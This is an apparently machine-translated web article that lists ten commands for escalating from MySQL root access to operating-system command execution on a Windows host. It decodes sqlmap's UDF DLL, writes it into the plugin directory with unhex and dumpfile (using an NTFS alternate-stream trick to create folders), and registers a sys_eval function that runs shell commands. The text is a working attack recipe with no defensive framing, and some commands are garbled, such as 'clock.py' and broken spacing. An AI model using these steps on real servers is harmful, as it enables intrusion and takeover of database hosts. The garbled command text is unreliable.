Detailed steps for UDF to lift the right and obtain the control of the host in MySQL

This article mainly introduces the detailed steps of UDF lifting power in MySQL to obtain host control. The content of the article is carefully selected and edited by the author. It has a certain pertinence and is of great reference significance to everyone. The following is to understand the detailed steps of UDF lifting power to obtain host control in MySQL with the author.

1. Python clock.py-d-I lib_mysqludfsys.dll

This step is to obtain the UDF dll used for *. First install sqlmap, and then run the above command to get the decoded UDF dll. (sqlmap codes it to avoid killing)

2. Mysql-h target_ip-uroot-p

Establish a connection with the target MySQL

3. Select version ()

View MySQL version

4. Select @ @ basedir

Check the directory where MySQL is installed. Suppose it is c:\ program files\ mysql\ mysql server 5.1

5. Select @ @ plugin_dir

Check the plug-in directory for MySQL. Suppose it is c:\ program files\ mysql\ mysql server 5.1\ plugin

6. Select'it is dll' into dumpfile'c:\ program files\ mysql\ mysql server 5.1\ lib::$INDEX_ALLOCATION'

Create a lib directory

7. Select'it is dll' into dumpfile'c:\ program files\ mysql\ mysql server 5.1\ plugin::$INDEX_ALLOCATION'

Create a plugin directory

8. Select unhex ('hex_of_udf.dll') into dumpfile "c:\ program files\ mysql\ mysql server 5.1\ plugin\ udf.dll"

Create udf.dll. Hex_of_udf.dll in the above command is the hexadecimal text of udf.dll, which can be obtained by editing software such as winhex.

9. Create function sys_eval returns string soname 'udf.dll'

Create function

10. Select sys_eval ('whoami')

Execute the shell command to indicate to gain control of the operating system

After reading the detailed steps of UDF in MySQL to obtain host control, many readers must have some understanding. If you need to get more industry knowledge and information, you can continue to follow our industry information column.